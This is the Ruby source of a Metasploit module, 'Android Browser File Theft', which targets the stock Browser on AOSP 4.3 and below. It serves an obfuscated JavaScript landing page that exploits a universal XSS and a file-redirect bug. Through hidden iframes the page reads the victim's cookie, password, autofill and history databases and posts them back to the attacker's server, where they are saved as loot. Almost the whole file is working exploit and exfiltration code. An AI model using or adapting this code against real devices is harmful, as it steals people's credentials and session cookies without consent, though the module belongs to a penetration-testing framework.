metasploit-framework/modules/auxiliary/gather/android_browser_file_theft.rb

181 lines
5.6 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/jsobfu'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report
include Msf::Exploit::JSObfu
def initialize(info={})
super(update_info(info,
'Name' => 'Android Browser File Theft',
'Description' => %q{
This module steals the cookie, password, and autofill databases from the
Browser application on AOSP 4.3 and below.
},
'Author' => [
'Rafay Baloch', # Found UXSS bug in Android Browser
'joev' # File redirect and msf module
],
'License' => MSF_LICENSE,
'Actions' => [[ 'WebServer' ]],
'PassiveActions' => [ 'WebServer' ],
'References' =>
[
# patch for file redirection, 2014
['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'],
['URL', 'https://code.google.com/p/chromium/issues/detail?id=90222'] # the UXSS
],
'DefaultAction' => 'WebServer'
))
register_options([
OptString.new('ADDITIONAL_FILES', [
false,
'Comma-separated list of addition file URLs to steal.',
]),
OptBool.new('DEFAULT_FILES', [
true,
'Steals a default set of file URLs',
true
])
])
end
def run
exploit
end
def on_request_uri(cli, request)
if request.method.downcase == 'post'
process_post(cli, request)
send_response_html(cli, '')
else
print_status('Sending exploit landing page...')
send_response_html(cli, exploit_html)
end
end
def process_post(cli, request)
data = JSON.parse(request.body)
contents = hex2bin(data['data'])
file = File.basename(data['url'])
print_good("File received: #{(contents.bytesize.to_f/1000).round(2)}kb #{file}")
loot_path = store_loot(
file,
'application/x-sqlite3',
cli.peerhost,
contents,
File.basename(data['url']),
"#{cli.peerhost.ljust(16)} Android browser file"
)
print_good("Saved to: #{loot_path}")
end
def file_urls
default_urls = [
'file:///data/data/com.android.browser/databases/webviewCookiesChromium.db',
'file:///data/data/com.android.browser/databases/webview.db',
'file:///data/data/com.android.browser/databases/autofill.db',
'file:///data/data/com.android.browser/databases/browser2.db',
'file:///data/data/com.android.browser/app_appcache/ApplicationCache.db',
'file:///data/data/com.android.browser/app_databases/Databases.db',
'file:///data/data/com.android.browser/databases/webviewCookiesChromiumPrivate.db'
]
unless datastore['DEFAULT_FILES']
default_urls = []
end
default_urls + (datastore['ADDITIONAL_FILES']||'').split(',')
end
def exploit_html
%Q|
<!doctype html>
<html>
<body>
<script>#{exploit_js}</script>
</body>
</html>
|
end
def exploit_js
js_obfuscate %Q|
window.onmessage = function(e) {
var x = new XMLHttpRequest;
x.open("POST", location.href);
x.send(JSON.stringify(e.data))
};
function xss() {
var urls = (#{JSON.generate(file_urls)});
function tick() {
setTimeout(function() { next(urls.shift()); });
};
window.onmessage = tick;
function next(url) {
if (!url) return;
try {
var f = document.createElement('iframe');
f.src = url;
f.onload = function() {
f.onload = null;
function nested() {
var x = new XMLHttpRequest;
x.open('GET', location.href);
x.responseType = 'arraybuffer';
x.send();
x.onload = function() {
var buff = new Uint8Array(x.response);
var hex = Array.prototype.map.call(buff, function(d) {
var c = d.toString(16);
return (c.length < 2) ? 0+c : c;
}).join(new String);
/*ensures there are no 'not allowed' responses that appear to be valid data*/
if (hex.length && hex.indexOf('#{Rex::Text.to_hex("<html><body>not allowed</body></html>","")}') === -1) {
top.postMessage({data:hex,url:location.href}, '*');
}
parent.postMessage(1,'*');
};
x.onerror = function() {
parent.postMessage(1,'*');
};
}
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(nested.toString())+')()';
f.contentWindow.location = "";
};
document.body.appendChild(f);
} catch(e) {t();}
};
tick();
}
var brokenFrame = document.createElement('iframe');
brokenFrame.src = 'http://localhost:100';
brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')
brokenFrame.onload = function() {
brokenFrame.onload = null;
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(xss.toString())+')()';
brokenFrame.contentWindow.location = "";
};
document.body.appendChild(brokenFrame);
|
end
# TODO: Make this a proper Rex::Text function
def hex2bin(hex)
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
end
end